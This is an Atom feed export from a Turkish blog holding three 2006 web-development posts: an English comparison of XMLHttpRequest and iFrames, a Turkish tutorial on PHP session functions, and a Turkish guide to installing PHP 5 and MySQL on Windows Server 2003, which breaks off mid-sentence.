<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-35317581</id><updated>2011-12-14T17:42:37.395-09:00</updated><title type='text'>Sonsuz bilgi kaynağınız</title><subtitle type='html'>makaleler, yazılar, şarkı sözleri, gerekli bilgiler</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>20</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-35317581.post-115997331720666756</id><published>2006-10-04T06:48:00.000-08:00</published><updated>2006-10-04T06:48:38.316-08:00</updated><title type='text'>AJAX: XMLHttpRequest Vs. iFrames</title><content type='html'>&lt;img src="http://res.sys-con.com/author/5967/Rob_Gonda2.jpg" align="left" border="1" hspace="5" vspace="5" /&gt; Should you use the old iFrame tricks or the new XMLHttpRequest? There is not better or worse when comparing these two techniques, but they are certainly different. While both of them allow you to communicate with the server in the background, you should choose the appropriate for your situation depending on a few questions: Do you want the back-forward buttons to work? Do you plan to perform more than one simultaneous request? Do you need cross-site calls? Do you need to monitor the status of your calls?&lt;br /&gt;&lt;br /&gt;I'm pretty sure there are more differences, and way around the ones I will mention for either technique, but out of the box, here are the differences:&lt;br /&gt;&lt;br /&gt;                            XHR           iFrame&lt;br /&gt;Multithread:       yes             no&lt;br /&gt;Back button      no               yes&lt;br /&gt;Cross-site        no               yes&lt;br /&gt;Statuses           yes             no&lt;br /&gt;&lt;br /&gt;Some people use iframes because it's easier to monitor… all you have to do is to show the hidden iframe and voila, you see the responses. On the other hand, I use several http traffic sniffers that give me even more accurate information, and they're extremely easy to use. So that's not a plus for me.&lt;br /&gt;&lt;br /&gt;Multithread is huge... you could achieve this with iframes if you create a framework that will create a new iframe using dom, use it for the call and delete it once it's completed. When using XHR, you can easily create a new remote request with simple scripting.&lt;br /&gt;&lt;br /&gt;The back button breaks by default when using XHR. Sometimes it is actually good, f.e, if I populate a city and state using a zip code, or check if an email has been taken prior to submitting a form I wouldn't like to add a history step, so I'm glad the back button doesn't recognize that request. There are ways around it too if you do need it to work. I will post some solutions/possibilities soon.&lt;br /&gt;&lt;br /&gt;Cross-site scripting ... while you would like this to work to use web services, they do not really work with iframes either. When scripting with iframe you need to explicitly call a function in the parent or top window, so unless you control both sites, this advantage is useless. You can implement a server side web service proxy relatively easy and I would suggest doing that if you need to use WS.&lt;br /&gt;&lt;br /&gt;Finally, statuses... with an iframe you do not know in that status your call is. With XHR you have 5 different ones: 0 = uninitialized, 1 = loading, 2 = loaded, 3 = interactive, 4 = complete. They are useful to provide the user with more accurate information.&lt;br /&gt;&lt;br /&gt;In conclusion, most of the times XHR is preferable over iframes, but there are cases and cases. Google maps uses iframes, while google suggest uses XHR.&lt;br /&gt;&lt;br /&gt;This article was republished with permission of &lt;a href="http://www.robgonda.com/"&gt;the Author&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115997331720666756?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115997331720666756/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115997331720666756' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115997331720666756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115997331720666756'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/ajax-xmlhttprequest-vs-iframes.html' title='AJAX: XMLHttpRequest Vs. iFrames'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971081343570576</id><published>2006-10-01T05:52:00.000-08:00</published><updated>2006-10-01T05:53:33.543-08:00</updated><title type='text'>PHP'de Oturum ( Session ) Fonksiyonu ve Uygulamaları</title><content type='html'>&lt;p&gt;Bu d&amp;ouml;k&amp;uuml;manda sizlere Php de &amp;ouml;nemli konulardan biri olan Session (  Oturum ) konusunu anlatmaya &amp;ccedil;al&amp;#305;&amp;#351;acam. &amp;Ouml;yle ki asl&amp;#305;nda Php de  kullan&amp;#305;lmas&amp;#305; temel fonksiyonlardan biridir. Php server tarafl&amp;#305; bir dil  oldu&amp;#287;undan dolay&amp;#305; yap&amp;#305;lan kodlamalar&amp;#305;n &amp;ccedil;o&amp;#287;unda sayfa ziyaret&amp;ccedil;isi ile  ba&amp;#287;lant&amp;#305;l&amp;#305; baz&amp;#305; codelar gerekebilir. Fazla uzatmadan hemen konuya  giriyoruz.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Php ile ilgilendi&amp;#287;inizi d&amp;uuml;&amp;#351;&amp;uuml;nerek size &amp;#351;u soruyu soruyorum; Daha  &amp;ouml;nce hi&amp;ccedil; d&amp;uuml;&amp;#351;&amp;uuml;nd&amp;uuml;n&amp;uuml;zm&amp;uuml;? Php ile sayfaya gelen ziyaret&amp;ccedil;iler sayfaya ba&amp;#287;l&amp;#305;  dosya veya database ile i&amp;#351;lem yaparlar yada onlar sayfada iken a&amp;ccedil;&amp;#305;k  olan baz&amp;#305; dosyalar nas&amp;#305;l di&amp;#287;er ziyaret&amp;ccedil;ilerinkilerle kar&amp;#305;&amp;#351;maz? &amp;#350;&amp;ouml;le  s&amp;ouml;ylersem san&amp;#305;r&amp;#305;m yanl&amp;#305;&amp;#351; olmaz. " Php de her ziyaret&amp;ccedil;i i&amp;ccedil;in bir oturum  id si vard&amp;#305;r. Bu id ziyaret&amp;ccedil;inin yapt&amp;#305;&amp;#287;&amp;#305; i&amp;#351;lemleri ve etkilenen dosya  ve benzeri &amp;#351;eyleri di&amp;#287;er ziyaret&amp;ccedil;ilerinkiler ile kar&amp;#305;&amp;#351;mas&amp;#305;n&amp;#305; en  gelleyen bir numarad&amp;#305;r."&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Yazd&amp;#305;&amp;#287;&amp;#305;m d&amp;ouml;k&amp;uuml;manlarda fazla yazd&amp;#305;&amp;#287;&amp;#305;m&amp;#305; kodlar&amp;#305; &amp;ouml;&amp;#287;retirken  u&amp;#287;ra&amp;#351;t&amp;#305;rd&amp;#305;&amp;#287;&amp;#305;m&amp;#305; d&amp;uuml;&amp;#351;&amp;uuml;nenler varsa l&amp;uuml;tfen " G&amp;uuml;ncellenme sorunu, hack  edilme sorunu, copy paste sorunu vs.. t&amp;uuml;r&amp;uuml;nde sorunlarla u&amp;#287;ra&amp;#351;an,  sayfas&amp;#305;na sa&amp;#287;dan soldan bulma php scriptleri koyup amac&amp;#305; sadece  kullan&amp;#305;c&amp;#305; &amp;ccedil;ekmek olan sayfalardan yaralanabilirsiniz. Fazla geyik ve  g&amp;ouml;ndermeye girmeden hemen kodlara ba&amp;#351;l&amp;#305;yal&amp;#305;m.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Her zamanki gibi &amp;ouml;ncelikle a&amp;#351;a&amp;#287;&amp;#305;daki kodlar&amp;#305; bir notepad arac&amp;#305;l&amp;#305;&amp;#287;&amp;#305;yla kaydedin.&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;table align="center" cellpadding="15" cellspacing="10" width="90%"&gt;&lt;br /&gt;  &lt;tbody&gt;&lt;br /&gt;    &lt;tr&gt;&lt;br /&gt;      &lt;td&gt;&lt;br&gt;&lt;br /&gt;          &lt;pre&gt;&amp;lt;?&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;session_start();&lt;br&gt;echo $PHPSESSID;&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;?&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;br /&gt;    &lt;/tr&gt;&lt;br /&gt;  &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;&amp;#350;imdi scripti &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rd&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z anda e&amp;#287;er eski bir apache web server kullan&amp;#305;yorsan&amp;#305;z a&amp;#351;a&amp;#287;&amp;#305;daki gibi bir hata alabilirsiniz.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Warning: Undefined variable: PHPSESSID in xxxxxxxxx\dosyadi.php on line 4 &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Bu birazda php.ini dosyan&amp;#305;zdaki " Hata Raporlama " ayar&amp;#305;nada  ba&amp;#287;l&amp;#305;d&amp;#305;r. Sonu&amp;ccedil; olarak b&amp;ouml;yle bir hata al&amp;#305;rsan&amp;#305;z yada ekranda bom bo&amp;#351;  bir sayfa g&amp;ouml;r&amp;uuml;rseniz yapman&amp;#305;z gereken tek &amp;#351;ey sayfay&amp;#305; bir kez refresh  etmektir.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;33093b51ece6ea183a9bd1a3ffd307db&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Ekranda buna benzer &amp;ccedil;ok uzun bir rakam g&amp;ouml;riceksiniz. &amp;#304;&amp;#351;te bu sizin  php taraf&amp;#305;ndan sa&amp;#287;lanm&amp;#305;&amp;#351; olan " Session id " niz. &amp;#350;imdi kodumuzu bir  inceleyelim.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;session_start(); // php de sayfa  kullan&amp;#305;c&amp;#305;s&amp;#305;na oturum id si vermek amac&amp;#305;yla kullan&amp;#305;lan komut. Ad&amp;#305;ndanda  anla&amp;#351;&amp;#305;labilece&amp;#287;i gibi kullan&amp;#305;c&amp;#305;ya bir oturum ba&amp;#351;lang&amp;#305;c&amp;#305; yapmaktad&amp;#305;r.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;echo $PHPSESSID; // burada art&amp;#305;k &amp;ouml;nceki bildi&amp;#287;iniz gibi echo komutu ile ekrana bast&amp;#305;r&amp;#305;lan $PHPSESSID de&amp;#287;i&amp;#351;kenini g&amp;ouml;r&amp;uuml;yoruz.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Burada anl&amp;#305;yaca&amp;#287;&amp;#305;n&amp;#305;z gibi biz $PHPSESSID ad&amp;#305;nda bir de&amp;#287;i&amp;#351;ken  tan&amp;#305;mlamad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z halde session_start() fonksionu bu i&amp;#351;i bizim i&amp;ccedil;in  yapm&amp;#305;&amp;#351; oldu.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Eeee &amp;#351;imdi ne olmu&amp;#351; diyenler varsa hemen okumaya devam etsin.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#350;imdi &amp;#351;&amp;ouml;yle d&amp;uuml;&amp;#351;&amp;uuml;n&amp;uuml;n kullan&amp;#305;c&amp;#305; sizin sayfan&amp;#305;za ilk geldi&amp;#287;inde bir  de&amp;#287;i&amp;#351;ken tan&amp;#305;ml&amp;#305;yorsunuz ve kulln&amp;#305;c&amp;#305; browser penceresini kapatana kadar  ayn&amp;#305; de&amp;#287;i&amp;#351;ken her yerde ge&amp;ccedil;erli oluyor.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Ne mi? Biraz daha a&amp;ccedil;&amp;#305;kl&amp;#305;y&amp;#305;m &amp;#351;imdi d&amp;uuml;&amp;#351;&amp;uuml;n&amp;uuml;n sayfan&amp;#305;n giri&amp;#351;inde  kullan&amp;#305;c&amp;#305;ya bir font, bir arka plan rengi, bir &amp;#351;ifre yada herhangi bir  numara verdiniz ve kullan&amp;#305;c&amp;#305; sayfadan &amp;ccedil;&amp;#305;kana kadar hep ayn&amp;#305; ayarlarla  sayfan&amp;#305;zda dola&amp;#351;t&amp;#305; bu ho&amp;#351; olmazm&amp;#305;yd&amp;#305;. B&amp;ouml;ylece hem siz ayn&amp;#305; kodlar&amp;#305;  yazmam&amp;#305;&amp;#351; olursunuz hemde kullan&amp;#305;c&amp;#305; sayfay&amp;#305; istedi&amp;#287;i ayarlarla dola&amp;#351;&amp;#305;r.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Anl&amp;#305;yaca&amp;#287;&amp;#305;n&amp;#305;z 4-5 de&amp;#287;i&amp;#351;kenle sanki theme li bir sayfa yapm&amp;#305;&amp;#351;  oluyorsunuz. Bu yaz&amp;#305;y&amp;#305; okuyan usta php ciler bana k&amp;#305;zabilir, zira  session id ile yap&amp;#305;lacabilecekler bu kadar de&amp;#287;il ilerde zaman&amp;#305; geldik&amp;ccedil;e  anlatmaya &amp;ccedil;al&amp;#305;&amp;#351;acam. &amp;Ccedil;ok fazla geyik oldu yine hemen yukar&amp;#305;daki  kodlar&amp;#305;m&amp;#305;z&amp;#305; biraz daha geli&amp;#351;tirelim.&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;table align="center" cellpadding="15" cellspacing="10" width="90%"&gt;&lt;br /&gt;  &lt;tbody&gt;&lt;br /&gt;    &lt;tr&gt;&lt;br /&gt;      &lt;td&gt;&lt;br&gt;&lt;br /&gt;          &lt;pre&gt;&amp;lt;?&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;session_start();&lt;br&gt;session_register("sayi");&lt;br&gt;$sayi++;&lt;br&gt;echo $sayi;&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;?&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;br /&gt;    &lt;/tr&gt;&lt;br /&gt;  &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;Yukar&amp;#305;daki kodu kaydedip &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rd&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z anda ekranda&lt;/p&gt;&lt;br /&gt;&lt;p&gt;1&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;ccedil;&amp;#305;kt&amp;#305;s&amp;#305;n&amp;#305; g&amp;ouml;r&amp;uuml;cez. &amp;#350;imdi 3-4 kez refresh ( yenile ) d&amp;uuml;&amp;#287;mesine bas&amp;#305;p  sayfay&amp;#305; yenileyin. Say&amp;#305;n&amp;#305;n git gide artt&amp;#305;&amp;#287;&amp;#305;n&amp;#305; g&amp;ouml;receksiniz. &amp;#350;imdi  herhangi bir ba&amp;#351;ka sayfaya gidin mesala http://www.zeb.biz sonra tekrar  geri d&amp;ouml;n&amp;uuml;n say&amp;#305;n&amp;#305;n hala eskisi gibi oldu&amp;#287;unu g&amp;ouml;receksiniz. Yani  browser&amp;#305;n&amp;#305;z a&amp;ccedil;&amp;#305;k oldu&amp;#287;u s&amp;uuml;rece $sayi de&amp;#287;i&amp;#351;kenin de&amp;#287;eri her sayfay&amp;#305;  okudu&amp;#287;unuzda bir tane artacakt&amp;#305;r. Yukar&amp;#305;daki kodlar&amp;#305; incelersek;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;session_start(); // bu sat&amp;#305;r&amp;#305; art&amp;#305;k &amp;ouml;&amp;#287;rendik oturum a&amp;ccedil;&amp;#305;yoruz... &lt;/p&gt;&lt;br /&gt;&lt;p&gt;session_register("sayi"); // bu sat&amp;#305;r ile browser&amp;#305;m&amp;#305;z a&amp;ccedil;&amp;#305;k oldu&amp;#287;u s&amp;uuml;rece ge&amp;ccedil;erli olan bir de&amp;#287;i&amp;#351;ken tan&amp;#305;ml&amp;#305;yoruz bir nevi &amp;ccedil;erez ( cookie ) yani.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;$sayi++; // bu sat&amp;#305;r ile $sayi ad&amp;#305;ndaki  de&amp;#287;i&amp;#351;kenin de&amp;#287;erini 1 tane artt&amp;#305;r&amp;#305;yoruz. E&amp;#287;er b&amp;ouml;le bir de&amp;#287;i&amp;#351;ken yoksa  de&amp;#287;erini 0 ile yarat&amp;#305;p 1 tane artt&amp;#305;r&amp;#305;yor.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;echo $sayi; // bu sat&amp;#305;r ilede $sayi de&amp;#287;i&amp;#351;kenini ekrana bast&amp;#305;r&amp;#305;yoruz.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Diyelimki $sayi de&amp;#287;i&amp;#351;keninin de&amp;#287;erini silece&amp;#287;iz ve bir daha  kullanm&amp;#305;yaca&amp;#287;&amp;#305;z. Bu i&amp;#351; i&amp;ccedil;in onun de&amp;#287;erini bo&amp;#351; yapmak yada de&amp;#287;i&amp;#351;tirmek  pek ak&amp;#305;ll&amp;#305;ca olmaz &amp;ccedil;&amp;uuml;nk&amp;uuml; bu t&amp;uuml;r de&amp;#287;i&amp;#351;kenler haf&amp;#305;zada yer kaplarlar. Bu  y&amp;uuml;zden en ak&amp;#305;ll&amp;#305;ca y&amp;ouml;ntem session_unregister() komutudur.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Mesala yukar&amp;#305;daki &amp;ouml;rne&amp;#287;e g&amp;ouml;re sayi de&amp;#287;i&amp;#351;keninin de&amp;#287;erini bo&amp;#351;altmak i&amp;ccedil;in&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;table align="center" cellpadding="15" cellspacing="10" width="90%"&gt;&lt;br /&gt;  &lt;tbody&gt;&lt;br /&gt;    &lt;tr&gt;&lt;br /&gt;      &lt;td&gt;&lt;br&gt;&lt;br /&gt;          &lt;pre&gt;&amp;lt;?&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;session_start();&lt;br&gt;session_register("sayi");&lt;br&gt;$sayi++;&lt;br&gt;echo $sayi;&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;session_unregister("sayi");&lt;br&gt;echo $sayi;&lt;/pre&gt;&lt;br /&gt;        &lt;pre&gt;?&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;br /&gt;    &lt;/tr&gt;&lt;br /&gt;  &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;Yukar&amp;#305;daki gibi kod &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;&amp;#287;&amp;#305; zaman $sayi de&amp;#287;i&amp;#351;keninin de&amp;#287;erinin bo&amp;#351;ald&amp;#305;&amp;#287;&amp;#305;n&amp;#305; g&amp;ouml;receksiniz.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Session fonksiyonlar&amp;#305; hakk&amp;#305;nda &amp;#351;uan i&amp;ccedil;in &amp;ouml;&amp;#287;renmeniz gereken temel  bilgileri size sundum. Asl&amp;#305;nda session ile ilgili bir &amp;ccedil;ok &amp;ouml;zellik var  ama &amp;#351;uanda bu bilgiler ile ba&amp;#351;laman&amp;#305;z daha uygun olacakt&amp;#305;r. &amp;#304;lerleyen  zamanlarda daha geli&amp;#351;mi&amp;#351; session komutlar&amp;#305;n&amp;#305; " PHP Dili " d&amp;#305;&amp;#351;&amp;#305;ndaki "  D&amp;ouml;k&amp;uuml;manlar " b&amp;ouml;l&amp;uuml;m&amp;uuml;nden sizlerle payla&amp;#351;&amp;#305;cam. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Mesala session_destroy() t&amp;uuml;m de&amp;#287;i&amp;#351;kenleri yok edebili yada  session_unset() komutu ile de&amp;#287;i&amp;#351;ken i&amp;ccedil;ini bo&amp;#351;altabilirsiniz . Php dili  How To d&amp;ouml;k&amp;uuml;manlar&amp;#305;ndan&lt;/p&gt;&lt;br /&gt;&lt;p&gt;session_start , session_destroy, session_name, session_module_name,  session_save_path, session_id ,session_register , session_unregister ,  session_unset , session_is_registered , session_get_cookie_params ,  session_set_cookie_params , session_decode , session_encode ,  session_set_save_handler , session_cache_limiter&lt;/p&gt;&lt;br /&gt;&lt;p&gt;gibi session komutlar&amp;#305; ve fonksiyonlar&amp;#305; hakk&amp;#305;nda bilgi edinebilirsiniz.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#350;imdi k&amp;#305;sa biz &amp;ouml;zet yap&amp;#305;p d&amp;ouml;k&amp;uuml;man&amp;#305; bitirelim.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;---&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;1 - Php dili server tarafl&amp;#305; bir dil oldu&amp;#287;undan sayfa  ziyaret&amp;ccedil;ilerinin yapacaklar&amp;#305; i&amp;#351;lemlerin birbirine kar&amp;#305;&amp;#351;mamas&amp;#305; ve her  kullan&amp;#305;c&amp;#305;n&amp;#305;n kendi i&amp;#351;lemlerini yapabilmesi i&amp;ccedil;in server&amp;#305;n kullan&amp;#305;c&amp;#305;y&amp;#305;  tan&amp;#305;yabilece&amp;#287;i bir oturum id si verilir. Bu id her kullan&amp;#305;c&amp;#305; i&amp;ccedil;in  farkl&amp;#305; bir numarad&amp;#305;r.&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;2 - Kullan&amp;#305;c&amp;#305;n&amp;#305;n oturumunu ba&amp;#351;latmak i&amp;ccedil;in session_start() komutu kullan&amp;#305;l&amp;#305;r. &lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;3 - $PHPSESSID de&amp;#287;i&amp;#351;keni session_start() fonksiyonu ile otomatik olarak tan&amp;#305;mlanan bir de&amp;#287;i&amp;#351;kendir.&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;4 - session_register() komutu ile o anki browser &amp;#305;n haf&amp;#305;zas&amp;#305;na  bir de&amp;#287;i&amp;#351;ken atanabilir ve t&amp;uuml;m browser &amp;ouml;mr&amp;uuml; s&amp;uuml;resince bu de&amp;#287;i&amp;#351;ken  haf&amp;#305;zada kal&amp;#305;r. &amp;Uuml;zerinde i&amp;#351;lemler yap&amp;#305;labilir.&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;5 - session_unregister() komutu ile haf&amp;#305;zadaki bir de&amp;#287;i&amp;#351;kenin de&amp;#287;eri bo&amp;#351;alt&amp;#305;labilir.&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971081343570576?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971081343570576/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971081343570576' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971081343570576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971081343570576'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/phpde-oturum-session-fonksiyonu-ve.html' title='PHP&apos;de Oturum ( Session ) Fonksiyonu ve Uygulamaları'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971074750135790</id><published>2006-10-01T05:51:00.000-08:00</published><updated>2006-10-01T05:52:27.636-08:00</updated><title type='text'>Windows Server 2003'e PHP 5 ve MySQL kurulumu</title><content type='html'>&lt;p&gt;&lt;em&gt;Windows 2003 Server&amp;rsquo;a PHP 5 ve MYSQL KURALIM &lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Bu  yaz&amp;#305;da sizlere Windows Server 2003 &amp;uuml;zerine Php 5 ve MySQL kurulumunu  anlataca&amp;#287;&amp;#305;m. E&amp;#287;er elinizde Php 5 ve MySQL varsa hemen i&amp;#351;e  koyulabiliriz. Ben Php&amp;rsquo;nin 5.0.1 s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; ve MySQL&amp;rsquo;in de 4.0.20d  s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; kullanaca&amp;#287;&amp;#305;m. Her iki yaz&amp;#305;l&amp;#305;m&amp;#305; da Windows Standart Server 2003  &amp;uuml;zerine kuraca&amp;#287;&amp;#305;m. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Php, Windows i&amp;ccedil;in zip&amp;rsquo;li olarak &lt;a href="http://www.php.net/"&gt;www.php.net&lt;/a&gt; adresinden indirilebiliyor. Php&amp;rsquo;yi indirdikten sonra C dizini alt&amp;#305;na  &amp;ldquo;php&amp;rdquo; isimli bir klas&amp;ouml;re a&amp;ccedil;al&amp;#305;m. A&amp;ccedil;t&amp;#305;ktan sonra &amp;ldquo;c:/php&amp;rdquo; de yer alan  &amp;ldquo;php5ts.dll&amp;rdquo; dosyas&amp;#305;n&amp;#305; &amp;ldquo;c:/windows&amp;rdquo; alt&amp;#305;na kopyalayal&amp;#305;m. Bunun ard&amp;#305;ndan  yine &amp;ldquo;c:/php&amp;rdquo; i&amp;ccedil;inde yer alan php.ini-dist dosyas&amp;#305;n&amp;#305; da &amp;ldquo;c:/windows&amp;rdquo;  alt&amp;#305;na kopyalayal&amp;#305;m. Kopyalad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z &amp;ldquo;php.ini-dist&amp;rdquo; dosyas&amp;#305;n&amp;#305;n ad&amp;#305;n&amp;#305;  &amp;ldquo;php.ini&amp;rdquo; olarak de&amp;#287;i&amp;#351;tirelim. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#350;imdi php.ini dosyas&amp;#305;nda birka&amp;ccedil; de&amp;#287;i&amp;#351;iklik yapaca&amp;#287;&amp;#305;z. De&amp;#287;i&amp;#351;iklikleri hem Php hem de MySQL i&amp;ccedil;in yapaca&amp;#287;&amp;#305;z. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;Ouml;ncelikle  &amp;ldquo;cgi.force_redirect&amp;rdquo; sat&amp;#305;r&amp;#305;n&amp;#305; bulal&amp;#305;m. Bu sat&amp;#305;r&amp;#305;n &amp;ouml;n&amp;uuml;nce &amp;ldquo;;&amp;rdquo; yer  almaktad&amp;#305;r. &amp;ldquo;;&amp;rdquo; &amp;uuml;n anlam&amp;#305; bu sat&amp;#305;r&amp;#305;n a&amp;ccedil;&amp;#305;klama sat&amp;#305;r&amp;#305; oldu&amp;#287;unu  belirtmektir. Ba&amp;#351;&amp;#305;nda &amp;ldquo;;&amp;rdquo; olan bir sat&amp;#305;rda yer alan komutlar  &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;r&amp;#305;lmazlar. Biz sat&amp;#305;r&amp;#305;n ba&amp;#351;&amp;#305;ndaki &amp;ldquo;;&amp;rdquo; &amp;uuml; silelim. Ard&amp;#305;ndan da  sat&amp;#305;r&amp;#305;n sonunda yer alan &amp;ldquo;1&amp;rdquo; rakam&amp;#305;n&amp;#305; &amp;ldquo;0&amp;rdquo; olarak de&amp;#287;i&amp;#351;tirelim. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Asl&amp;#305;nda  bu haliyle Php&amp;rsquo;yi &amp;ccedil;al&amp;#305;&amp;#351;&amp;#305;rt&amp;#305;rmam&amp;#305;z m&amp;uuml;mk&amp;uuml;n. Ancak MySQL i&amp;ccedil;in de gerekli  ayarlar&amp;#305; da yapal&amp;#305;m. Php&amp;rsquo;nin yeni s&amp;uuml;r&amp;uuml;m&amp;uuml; ile birlikte MySQL&amp;rsquo;i  &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rmak i&amp;ccedil;in &amp;ldquo;php_mysql.dll&amp;rdquo; adl&amp;#305; bir dosyay&amp;#305; kullan&amp;#305;yoruz. Bu  dosya da Php ile birlikte gelmektedir. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;MySQL  ile ilgili olarak &amp;ldquo;php.ini&amp;rdquo; dosyas&amp;#305;nda 